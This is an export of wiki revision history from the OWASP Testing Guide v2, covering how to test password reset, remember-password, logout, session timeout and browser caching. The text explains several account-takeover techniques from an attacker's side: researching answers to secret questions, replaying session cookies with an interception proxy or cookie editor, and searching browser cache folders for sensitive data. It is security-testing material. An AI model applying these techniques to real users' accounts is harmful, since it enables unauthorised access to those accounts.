Alternatively (or in addition to that), the application could ask the user to answer one or more &amp;quot;secret questions&amp;quot;, which are usually chosen by the user among a set of possible ones. The security of this scheme lies in the ability to provide a way for someone to identify themselves to the system with answers to questions that are not easily answerable via personal information lookups. As an example, a very insecure question would be “your mother’s maiden name” since that is a piece of information that an attacker could find out without extreme effort.  An example of a better question would be “favorite grade-school teacher” since this would be a much more difficult topic to research about a person whose identity may otherwise already be stolen.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Another common feature that applications use to help users with bad memory is the possibility of caching the password in the browser and having it 'pre-typed' in all subsequent accesses. While this feature can be perceived as extremely friendly for the average user, at the same time it introduces a flaw, as the user account becomes easily accessible to anyone that uses the same machine account.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
'''Password Reset''' &amp;lt;br&amp;gt;&lt;br /&gt;
The first step is to check whether secret questions are used. Sending the password (or a password reset link) to the user email address without first asking for a secret question means relying 100% on the security of that email address, which is not suitable if the applicaton needs a high level of security.&amp;lt;br&amp;gt;&lt;br /&gt;
On the other hand, if secret question are used, the next step is to assessing their strength.&amp;lt;br&amp;gt;As a first point, how many questions need to be answered before the password can be reset ? The majority of applications only need the user to answer to one question, but some critical applications require the user to answer correctly to two or even more different questions.&amp;lt;br&amp;gt;&lt;br /&gt;
As a second step, we need to analyze the questions themselves. Often a self-reset system offers the choice of multiple questions; this is a good sign for the would-be attacker as this presents him/her with options. Ask yourself whether you could obtain answers to any or all of these questions via a simple Google search on the Internet or with some social engineering attack. As a potential attacker, here is a step-by-step walk through of assessing a password self-reset tool:&lt;br /&gt;
&lt;br /&gt;
* Are there multiple questions offered?&lt;br /&gt;
** If so, try to pick a question which would have a “public” answer; for example, something Google would find with a simple query&lt;br /&gt;
** Always pick questions which have a factual answer such as a “first school” or other facts which can be looked up&lt;br /&gt;
** Look for questions which have few possible options such as “what make was your first car”; this question would present the attacker with a short-list of answers to guess at and based on statistics the attacker could rank answers from most to least likely&lt;br /&gt;
* Determine how many guesses you have (if possible)&lt;br /&gt;
** Does the password reset allow unlimited attempts ?&lt;br /&gt;
** Is there a lockout period after X incorrect answers? Keep in mind that a lockout system can be a security problem in itself, as it can be exploited by an attacker to launch a Denial of Service against users&lt;br /&gt;
* Pick the appropriate question based on analysis from above point, and do research to determine the most likely answers&lt;br /&gt;
* How does the password-reset tool (once a successful answer to a question is found) behave?&lt;br /&gt;
** Does it allow immediate change of the password?&lt;br /&gt;
** Does it display the old password?&lt;br /&gt;
** Does it email the password to some pre-defined email address?&lt;br /&gt;
** The most insecure scenario here is if the password reset tool shows you the password; this gives the attacker the ability to log into the account, and unless the application provides information about the last login the victim would not know that his/her account has been compromised.&lt;br /&gt;
** A less insecure scenario is if the password reset tool forces the user to immediately change his/her password. While not as stealthy as the first case, it allows the attacker to gain access and locks the real user out.&lt;br /&gt;
** The best security is achieved if the password reset is done via an email to the address the user initially registered with, or some other email address; this forces the attacker to not only guess at which email account the password reset was sent to (unless the application tells that) but also to compromise that account in order to take control of the victim access to the application.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The key to successfully exploiting and bypassing a password self-reset is to find a question or set of questions which give the possibility of easily acquiring the answers.  Always look for questions which can give you the greatest statistical chance of guessing the correct answer, if you are completely unsure of any of the answers.  In the end, a password self-reset tool is only as strong as the weakest question.&lt;br /&gt;
As a side note, if the application sends/visualizes the old password in cleartext it means that passwords are not stored in a hashed form, which is a security issue in itself already. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Password Remember'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;remember my password&amp;quot; mechanism can be implemented with one of the following methods:&lt;br /&gt;
# Allowing the &amp;quot;cache password&amp;quot; feature in web browsers. Although not directly an application mechanism, this can and should be disabled.&lt;br /&gt;
# Storing the password in a permanent cookie. The password must be hashed/encrypted and not sent in cleartext.&lt;br /&gt;
&lt;br /&gt;
For the first method, check the HTML code of the login page to see whether browser caching of the passwords is disabled. The code for this will usually be along the following lines:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;INPUT TYPE=&amp;quot;password&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The password autocomplete should always be disabled, especially in sensitive applications, since an attacker, if able to access the browser cache, could easily obtain the password in cleartext (public computers are a very notable example of this attack).&lt;br /&gt;
To check the second implementation type – examine the cookie stored by the application. Verify the credentials are not stored in cleartext, but are hashed. Examine the hashing mechanism: if it appears a common well-known one, check for its strength; in homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable. Additionally, verify that the credentials are only sent during the login phase, and not sent together with every request to the application. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==Gray Box Testing and Examples==&lt;br /&gt;
This test uses only functional features of the application and HTML code that is always available to the client, the graybox testing follows the same guidelines of the previous paragraph. The only exception is for the password encoded in the cookie, where the same gray box described in the [[Cookie and Session Token Manipulation AoC]] chapter&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Vulnerable_Remember_Password_and_Pwd_Reset_(OWASP-AT-006)&amp;diff=11465</id>
		<title>Testing for Vulnerable Remember Password and Pwd Reset (OWASP-AT-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Vulnerable_Remember_Password_and_Pwd_Reset_(OWASP-AT-006)&amp;diff=11465"/>
				<updated>2006-11-02T17:02:52Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Several web application allow users to reset their password if they have forgotten it, usually by sending him/her a password reset email or by asking them to answer one or more &amp;quot;security questions&amp;quot;. In this test we check that this function is properly implemented and that does not introduce any flaw in the authentication scheme. We also check whether the application allows the user to store the password in the browser (&amp;quot;remember password&amp;quot; function).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
A great majority of web applications provide a way for users to recover (or reset) their password in case they have forgotten it. The exact procedure varies heavily among different applications, but the approach is always to use an alternate way of verifying the identity of the user. The most common approach is to ask the user for his e-mail address, and send the old password (or a new one) to his/her address. This scheme takes for granted that the user's email is secure enough to use it for this goal. Alternatively (or in addition to that), the application could ask the user to answer one or more &amp;quot;secret questions&amp;quot;. The security of this scheme lies in the ability to provide a way for someone to identify themselves to the system with answers to questions that are not easily answerable via personal information lookups. As an example, a terrible question would be “Mother’s maiden name” since that is something that can be had without extreme effort.  An example of a good question would be “favorite grade-school teacher” since this would be a much more difficult topic to research about a person whose identity may otherwise already be stolen.&lt;br /&gt;
Another common feature that applicatiosn use to help users with bad memory is the possibility of caching the password in the browser and having it 'pre-typed' in all subsequent accesses. While this feature can be perceived as extremely friendly for the average user, at the same time it introduces a flaw, as the user account becomes easily accessible to anyone that uses the same machine account.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Blackbox Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
'''Password Reset''' &amp;lt;br&amp;gt;&lt;br /&gt;
The first thing that should be done when testing a password self-reset function is assessing the questions (“secret questions”) presented to the potential password re-setter.  Ask yourself whether you could obtain answers to any or all of these questions via a simple Google search on the Internet or with some social engineering attack.  Often a self-reset system offers the choice of multiple questions; this is a good sign for the would-be attacker as this presents the attacker with options.  As a potential attacker, here is a step-by-step walk through of assessing a password self-reset tool:&lt;br /&gt;
&lt;br /&gt;
* Are there multiple questions offered?&lt;br /&gt;
** If so, try to pick a question which would have a “public” answer; for example, something Google would find with a simple query&lt;br /&gt;
** Always pick questions which have a factual answer such as a “first school” or other fact which can be looked up&lt;br /&gt;
** Look for questions which have few possible options such as “what make was your first car”; this question would present the attacker with a short-list of answers to guess at and based on statistics the attacker could rank answers from most to least likely&lt;br /&gt;
* Determine how many guesses you have (if possible)&lt;br /&gt;
** Does the password reset too allow you to guess at the answer to the secret question(s) forever?&lt;br /&gt;
** Is there a lockout period after X incorrect answers?&lt;br /&gt;
* Pick the appropriate question based on analysis from above point, and do research to determine the most likely answers&lt;br /&gt;
* How does the password-reset tool (once a successful answer to a question is found) behave?&lt;br /&gt;
** Does it allow immediate change of the password?&lt;br /&gt;
** Does it display the old password?&lt;br /&gt;
** Does it email the password to some pre-defined email address?&lt;br /&gt;
** The best scenario here is if the password reset tool shows you the password; this gives you the ability to log into the account without the real user knowing that you’ve obtained access.&lt;br /&gt;
** The second-best scenario is if the password reset tool allows you to immediately change your password.  While not very stealthy, it gets the job done and gives you access and locks the real user out.&lt;br /&gt;
** The worst-case scenario is if the password reset is done via an email to a email address the user initially registered with, or some other email address; this forces you to then to not only guess at which email account the password reset was sent to (unless the application tells you) but you now have to commandeer that account as well making this exercise much more complex.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The key to successfully exploiting and bypassing a password self-reset is to find a question or set of questions which give the possibility of easily acquiring the answers.  Always look for questions which can give you the greatest statistical chance of guessing the correct answer, if you are completely unsure of any of the answers.  In the end, a password self-reset tool is only as strong as the weakest question.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Password Remember'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;quot;remember my password&amp;quot; mechanism can be implemented in one of the following methods:&lt;br /&gt;
# Allowing the &amp;quot;cache password&amp;quot; feature in web browsers. Although not directly an application mechanism, this can and should be disabled.&lt;br /&gt;
# Storing the password in a permanent cookie. The password can be either hashed or cleartext.&lt;br /&gt;
&lt;br /&gt;
For the first method – check whether you can tell your browser to cache this password. This feature should be disabled, especially in sensitive applications.&lt;br /&gt;
To check the second implementation type – examine the cookie stored by the application. Verify the credentials are not stored in cleartext, but are hashed. Examine the hashing mechanism, if it appears a common well-known one, check for its strength, in homegrown hash functions – attempt several usernames to check whether the hash function is easily guessable. Additionally, verify the credentials are only sent during the login phase, and not sent together with every request to the application. &lt;br /&gt;
&lt;br /&gt;
Check the code to see whether browser caching of the passwords is disabled. The code for this will usually be along the lines of  &amp;lt;INPUT TYPE=&amp;quot;password&amp;quot; '''AUTOCOMPLETE'''=&amp;quot;off&amp;quot;&amp;gt;. If the credentials are stored in the cookie examine the code to understand the structure of the cookie, the hash function, and the usage of this cookie within the application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Logout_and_Browser_Cache_Management_(OWASP-AT-007)&amp;diff=11441</id>
		<title>Testing for Logout and Browser Cache Management (OWASP-AT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Logout_and_Browser_Cache_Management_(OWASP-AT-007)&amp;diff=11441"/>
				<updated>2006-11-02T15:45:52Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this phase we check that the logout function is properly implemented, and that it is not possible to “reuse” a session after such logout. We also check that the application automatically logs out a user when that user has been idle for a certain amount of time, and that no sensitive data remains stored in the browser cache.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
The end a web session is usually triggered by one of the following two events:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* The user logs out&lt;br /&gt;
* The user remains idle for a certain amount of time and the application automatically logs him/her out&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Both cases must be implemented carefully, in order to avoid to introduce weaknesses that could be exploited by an attacker to gain unauthorized access. More specifically, the logout function must ensure that all session tokens (e.g.: cookies) are properly destroyed or made unusable, and that proper controls are enforced at the server side to forbid them to be used again. If such actions are not properly carried out, an attacker could replay these session tokens in order to “resurrect” the session of a legitimate user and virtually impersonate him/her (this attack is usually known as 'cookie replay'). Of course, a mitigating factor is that the attacker needs to be able to access those tokens (that are stored on the victim PC), but in a variety of cases it might not be too difficult. The most common scenario for this kind of attack is a public computer that is used to access some private information (e.g.: webmail, online bank account, ...): when the user has finished using the application and logs out, if the logout process is not properly enforced the following user could access the same account, for instance  by simply pressing the “back” button of the browser. Another scenario can result from a Cross Site Scripting vulnerability or a connection that is not 100% protected by SSL: a flawed logout function would make stolen cookies useful for a much longer time, making life for the attacker much easier.&lt;br /&gt;
The third test of this chapter is aimed to check that the application forbids the browser to cache sensitive data, which again would pose a danger to an user accessing the application from a public computer.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and examples ==&lt;br /&gt;
'''Logout function:''' &amp;lt;br&amp;gt;&lt;br /&gt;
The first step is to test the presence of the logout function. Check that the application provides a logout button and that this button is present and well visible on all pages that require authentication to be accessed. A logout button that is not clearly visible, or that is present only on certain pages, poses a security risk, as the user might forget to use it at the end of his/her session.&lt;br /&gt;
&lt;br /&gt;
The second step consists in checking what happens to the session tokens when the logout function is invoked. For instance, when cookies are used a proper behavior is to erase all session cookies, by issuing a new Set-Cookie directive that sets their value to a non-valid one (e.g.: “NULL” or some equivalent value) and, if the cookie is persistent, setting its expiration date in the past, which tells the browser to discard the cookie. So, if the authentication page originally sets a cookie in the following way:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Set-Cookie: SessionID=sjdhqwoy938eh1q; expires=Sun, 29-Oct-2006 12:20:00 GMT; path=/; domain=victim.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
the logout function should trigger a response somewhat resembling the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Set-Cookie: SessionID=noauth; expires=Sat, 01-Jan-2000 00:00:00 GMT; path=/; domain=victim.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The first (and simplest) test at this point consists in logging out and then hitting the 'back' button of the browser, to check whether we are still authenticated. If we are, it means that the logout function has been implemented insecurely, and that the logout function does not destroy the session IDs. This happens sometimes with applications that use non-persistent cookies and that require the user to close his browser in order to effectively erase such cookies from memory. Some of these applications provide a warning to the user, suggesting her to close her browser, but this solution completely relies on the user behavior, and results in a lower level of security compared to destroying the cookies. Other applications might try to close the browser using JavaScript, but that again is a solution that relies on the client behavior, which is intrinsically less secure, since the client browser could be configured to limit the execution of scripts (and in this case a configuration that had the goal of increasing security would end up decreasing it). Moreover, the effectiveness of this solution would be dependent on the browser vendor, version and settings (e.g.: the JavaScript code might successfully close an Internet Explorer instance but fail to close a Firefox one).&lt;br /&gt;
&lt;br /&gt;
If by pressing the 'back' button we can access previous pages but not access new ones then we are simply accessing the browser cache. If these pages contain sensitive data, it means that the application did not forbid the browser to cache it (by not setting the Cache-Control header, a different kind of problem that we will analyze later).&lt;br /&gt;
&lt;br /&gt;
After the “back button” technique has been tried, it's time for something a little more sophisticated: we can re-set the cookie to the original value and check whether we can still access the application in an authenticated fashion. If we can, it means that there is not a server-side mechanism that keeps track of active and non active cookies, but that the correctness of the information stored in the cookie is enough to grant access. To set a cookie to a determined value we can use WebScarab and, intercepting one response of the application, insert a Set-Cookie header with our desired values:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[image:TestingGuide-LogoutTest-fig1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Alternatively, we can install a cookie editor in our browser (e.g.: Add N Edit Cookies in Firefox):&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[image:TestingGuide-LogoutTest-fig2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
A notable example of a design where there is no control at server side about cookies that belong to users that have already logged out is ASP.NET FormsAuthentication class, where the cookie is basically an encrypted and authenticated version of the user details that are decrypted and checked by the server side. While this is very effective in preventing cookie tampering, the fact that the server does not maintain an internal record of the session status means that it is possible to launch a cookie replay attack after the legitimate user has logged out, provided that the cookie has not expired yet (see the references for further detail).&lt;br /&gt;
&lt;br /&gt;
It should be noted that this test only applies to session cookies, and that a persistent cookie that only stores data about some minor user preferences (e.g.: site appearance) and that is not deleted when the user logs out is not to be considered a security risk.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Timeout logout'''&amp;lt;br&amp;gt;&lt;br /&gt;
The same approach that we have seen in the previous section can be applied when measuring the timeout logout. The most appropriate logout time should be a right balance between security (shorter logout time) and usability (longer logout time) and heavily depends on the criticality of the data handled by the application. A 60 minutes logout time for a public forum can be acceptable, but such a long time would be way too much in a home banking application. In any case, any application that does not enforce a timeout-based logout should be considered not secure, unless such a behavior is addressing a specific functional requirement.&lt;br /&gt;
The testing methodology is very similar to the one outlined in the previous paragraph. First we have to check whether a timeout exists, for instance logging in and then killing some time reading some other Testing Guide chapter, waiting for the timeout logout to be triggered. As in the logout function, after the timeout has passed all session tokens should be destroyed or be unusable. We also need to understand whether the timeout is enforced by the client or by the server (or both). Getting back to our cookie example, if the session cookie is non-persistent (or, more in general, the session token does not store any data about the time) we can be sure that the timeout is enforced by the server. If the session token contains some time related data (e.g.: login time, or last access time, or expiration date for a persistent cookie), then we know that the client is involved in the timeout enforcing. In this case, we need to modify the token (if it's not cryptographically protected) and see what happens to our session. For instance, we can set the cookie expiration date far in the future and see whether our session can be prolonged. As a general rule, everything should be checked server-side and it should not be possible, re-setting the session cookies to previous values, to be able to access the application again.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;'''Cached pages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Logging out from an application obviously does not clear the browser cache of any sensitive information that might have been stored. Therefore, another test that is to be performed is to check that our application does not leak any critical data into the browser cache. In order to do that, we can use WebScarab and search through the server responses that belong to our session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response headers:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1:&lt;br /&gt;
Cache-Control: no-cache&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.0:&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Expires: &amp;lt;past date or illegal value (e.g.: 0)&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Alternatively, the same effect can be obtained directly at the HTML level, including in each page that contains sensitive data the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1:&lt;br /&gt;
&amp;lt;META HTTP-EQUIV=&amp;quot;Cache-Control&amp;quot; CONTENT=&amp;quot;no-cache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.0: &lt;br /&gt;
&amp;lt;META HTTP-EQUIV=&amp;quot;Pragma&amp;quot; CONTENT=&amp;quot;no-cache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;META HTTP-EQUIV=”Expires” CONTENT=”Sat, 01-Jan-2000 00:00:00 GMT”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
For instance, if we are testing an e-commerce application, we should look for all pages that contain a credit card number or some other financial information, and check that all those pages enforce the no-cache directive.&lt;br /&gt;
On the other hand, if we find pages that contain critical information but that fail to instruct the browser not to cache their content, we know that sensitive information will be stored on the disk, and we can double-check that simply by looking for it in the browser cache. The exact location where that information is stored depends on the client operating system and on the browser that has been used, but here are some examples:&lt;br /&gt;
&lt;br /&gt;
* Mozilla Firefox:&lt;br /&gt;
** Unix/Linux: ~/.mozilla/firefox/&amp;lt;profile-id&amp;gt;/Cache/&lt;br /&gt;
** Windows: C:\Documents and Settings\&amp;lt;user_name&amp;gt;\Local Settings\Application Data\Mozilla\Firefox\Profiles\&amp;lt;profile-id&amp;gt;\Cache&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Internet Explorer:&lt;br /&gt;
** C:\Documents and Settings\&amp;lt;user_name&amp;gt;\Local Settings\Temporary Internet Files&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
The gray box testing is not much different from the black box one. In a gray box testing we can assume we have some partial knowledge about the session management of our application, and that should help us in understanding whether the logout and timeout functions are properly secured. As a general rule, we need to check that:&lt;br /&gt;
* The logout function effectively destroys all session token, or at least render them unusable&lt;br /&gt;
* The server performs proper checks on the session state, disallowing an attacker to replay some previous token&lt;br /&gt;
* A timeout is enforced and it is properly checked by the server. If the server uses an expiration time that is read from a session token that is sent by the client, the token must be cryptographically protected&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For the secure cache test, the methodology is equivalent to the black box case, as in both scenarios we have full access to the server response headers and to the HTML code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
* ASP.NET Forms Authentication - Best Practices for Software Developers: http://www.foundstone.com/resources/whitepapers/ASPNETFormsAuthentication.pdf&lt;br /&gt;
* The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications: http://support.microsoft.com/default.aspx?scid=kb;en-us;900111&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Tools ==&lt;br /&gt;
* Add N Edit Cookies (Firefox estension): https://addons.mozilla.org/firefox/573/&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Logout_and_Browser_Cache_Management_(OWASP-AT-007)&amp;diff=11433</id>
		<title>Testing for Logout and Browser Cache Management (OWASP-AT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Logout_and_Browser_Cache_Management_(OWASP-AT-007)&amp;diff=11433"/>
				<updated>2006-11-02T15:09:51Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* Black Box testing and examples */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this phase we check that the logout function is properly implemented, and that it is not possible to “reuse” a session after such logout. We also check that the application automatically logs out a user when that user has been idle for a certain amount of time, and that no sensitive data remains stored in the browser cache.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
The end a web session is usually triggered by one of the following two events:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* The user logs out&lt;br /&gt;
* The user remains idle for a certain amount of time and the application automatically logs him/her out&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Both cases must be implemented carefully, in order to avoid to introduce weaknesses that could be exploited by an attacker to gain unauthorized access. More specifically, the logout function must ensure that all session tokens (e.g.: cookies) are properly destroyed or made unusable, and that proper controls are enforced at the server side to forbid them to be used again. If such actions are not properly carried out, an attacker could replay these session tokens in order to “resurrect” the session of a legitimate user and virtually impersonate him/her (this attack is usually known as 'cookie replay'). Of course, a mitigating factor is that the attacker needs to be able to access those tokens (that are stored on the victim PC), but in a variety of cases it might not be too difficult. The most common scenario for this kind of attack is a public computer that is used to access some private information (e.g.: webmail, online bank account, ...): when the user has finished using the application and logs out, if the logout process is not properly enforced the following user could access the same account, for instance  by simply pressing the “back” button of the browser. Another scenario can result from a Cross Site Scripting vulnerability or a connection that is not 100% protected by SSL: a flawed logout function would make stolen cookies useful for a much longer time, making life for the attacker much easier.&lt;br /&gt;
The third test of this chapter is aimed to check that the application forbids the browser to cache sensitive data, which again would pose a danger to an user accessing the application from a public computer.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and examples ==&lt;br /&gt;
'''Logout function:''' &amp;lt;br&amp;gt;&lt;br /&gt;
The first step is to test the presence of the logout function. Check that the application provides a logout button and that this button is present and well visible on all pages that require authentication to be accessed. A logout button that is not clearly visible, or that is present only on certain pages, poses a security risk, as the user might forget to use it at the end of his/her session.&lt;br /&gt;
&lt;br /&gt;
The second step consists in checking what happens to the session tokens when the logout function is invoked. For instance, when cookies are used a proper behavior is to erase all session cookies, by issuing a new Set-Cookie directive that sets their value to a non-valid one (e.g.: “NULL” or some equivalent value) and, if the cookie is persistent, setting its expiration date in the past, which tells the browser to discard the cookie. So, if the authentication page originally sets a cookie in the following way:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Set-Cookie: SessionID=sjdhqwoy938eh1q; expires=Sun, 29-Oct-2006 12:20:00 GMT; path=/; domain=victim.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
the logout function should trigger a response somewhat resembling the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Set-Cookie: SessionID=noauth; expires=Sat, 01-Jan-2000 00:00:00 GMT; path=/; domain=victim.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The first (and simplest) test at this point consists in logging out and then hitting the 'back' button of the browser, to check whether we are still authenticated. If we are, it means that the logout function has been implemented insecurely, and that the logout function does not destroy the session IDs. This happens sometimes with applications that use non-persistent cookies and that require the user to close his browser in order to effectively erase such cookies from memory. Some of these applications provide a warning to the user, suggesting her to close her browser, but this solution completely relies on the user behavior, and results in a lower level of security compared to destroying the cookies. Other applications might try to close the browser using JavaScript, but that again is a solution that relies on the client behavior, which is intrinsically less secure, since the client browser could be configured to limit the execution of scripts (and in this case a configuration that had the goal of increasing security would end up decreasing it). Moreover, the effectiveness of this solution would be dependent on the browser vendor, version and settings (e.g.: the JavaScript code might successfully close an Internet Explorer instance but fail to close a Firefox one).&lt;br /&gt;
&lt;br /&gt;
If by pressing the 'back' button we can access previous pages but not access new ones then we are simply accessing the browser cache. If these pages contain sensitive data, it means that the application did not forbid the browser to cache it (by not setting the Cache-Control header, a different kind of problem that we will analyze later).&lt;br /&gt;
&lt;br /&gt;
After the “back button” technique has been tried, it's time for something a little more sophisticated: we can re-set the cookie to the original value and check whether we can still access the application in an authenticated fashion. If we can, it means that there is not a server-side mechanism that keeps track of active and non active cookies, but that the correctness of the information stored in the cookie is enough to grant access. To set a cookie to a determined value we can use WebScarab and, intercepting one response of the application, insert a Set-Cookie header with our desired values:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[image:TestingGuide-LogoutTest-fig1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Alternatively, we can install a cookie editor in our browser (e.g.: Add N Edit Cookies in Firefox):&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[image:TestingGuide-LogoutTest-fig2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
A notable example of a design where there is no control at server side about cookies that belong to users that have already logged out is ASP.NET FormsAuthentication class, where the cookie is basically an encrypted and authenticated version of the user details that are decrypted and checked by the server side. While this is very effective in preventing cookie tampering, the fact that the server does not maintain an internal record of the session status means that it is possible to launch a cookie replay attack after the legitimate user has logged out, provided that the cookie has not expired yet (see the references for further detail).&lt;br /&gt;
&lt;br /&gt;
It should be noted that this test only applies to session cookies, and that a persistent cookie that only stores data about some minor user preferences (e.g.: site appearance) and that is not deleted when the user logs out is not to be considered a security risk.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Timeout logout'''&amp;lt;br&amp;gt;&lt;br /&gt;
The same approach that we have seen in the previous section can be applied when measuring the timeout logout. The most appropriate logout time should be a right balance between security (shorter logout time) and usability (longer logout time) and heavily depends on the criticality of the data handled by the application. A 60 minutes logout time for a public forum can be acceptable, but such a long time would be way too much in a home banking application. In any case, any application that does not enforce a timeout-based logout should be considered not secure, unless such a behavior is addressing a specific functional requirement.&lt;br /&gt;
